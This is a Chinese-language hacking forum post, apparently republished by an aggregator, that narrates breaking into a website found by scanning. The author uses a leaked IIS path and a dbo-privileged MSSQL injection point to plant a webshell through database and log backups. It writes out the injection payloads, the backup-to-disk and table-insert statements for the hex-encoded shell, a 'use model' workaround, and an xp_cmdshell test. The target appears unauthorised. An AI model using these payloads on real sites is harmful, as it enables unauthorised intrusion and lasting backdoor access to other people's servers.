简单的差异备份shell
2020-04-15 13:54:33 Author: forum.90sec.com(查看原文) 阅读量:344 收藏

无意间扫到一个mssql注入点,于是就有了下面文章…

1. 404页面配置不当

iis配置不当,导致随便输入一个字符提交报错出现404错误后网站目录爆出。这种错误是可以避免的,要是网站没有漏洞的情况,单单爆出一个路径也不是什么大的漏洞 但是配合注入的话就更利于网站沦陷。

image
  1. 漏洞条件

网站有了绝对路径还需要这个路径有写入权限以及注入点有没对数据库的操作权限

0x1 正文

看到注入点后 先确定了一下当前身份。 直接提交%' and 1=user --a

image

是dbo权限 在测试提交 xp_cmdshell 语句后无错误 不知道有没成功 看来可以试试差异备份 先获取下当前数据库名称

%' and 1=db_name() –a 返回值

image

然后备份当前库

%';backup database 数据库名 to disk = '网站路径' with init –a \备份当前库

%';create table cmd(a image) –a \新建一个表

%';insert into cmd(a) values (0xxxxx) --a //写入值 0xxxxx是hex后到值

二次备份

%';backup log 数据库名to disk = '路径\shell名称'--

当进行写shell时一直显示提交但是访问shell地址到时候显示403 随后再访问变成404错误提示。估计是数据库太大备份不到网站路径的原因

image

看下有没其他库

image

可以测试当前权限有没有对其他库备份的权限

于是。。。model对库进行了备份

修改备份语句 原来语句 %';backup database 数据库名 to disk = '路径' with init –a

改成 %';use model backup database 数据库名 to disk = '路径' with init --a

二次备份依旧修改语句 测试成功

image

0x2 结尾

后续进shell后删除备份文件 因为备份文件很大, 会导致访问网站访问速度变慢!


文章来源: https://forum.90sec.com/t/topic/951/1
如有侵权请联系:admin#unsafe.sh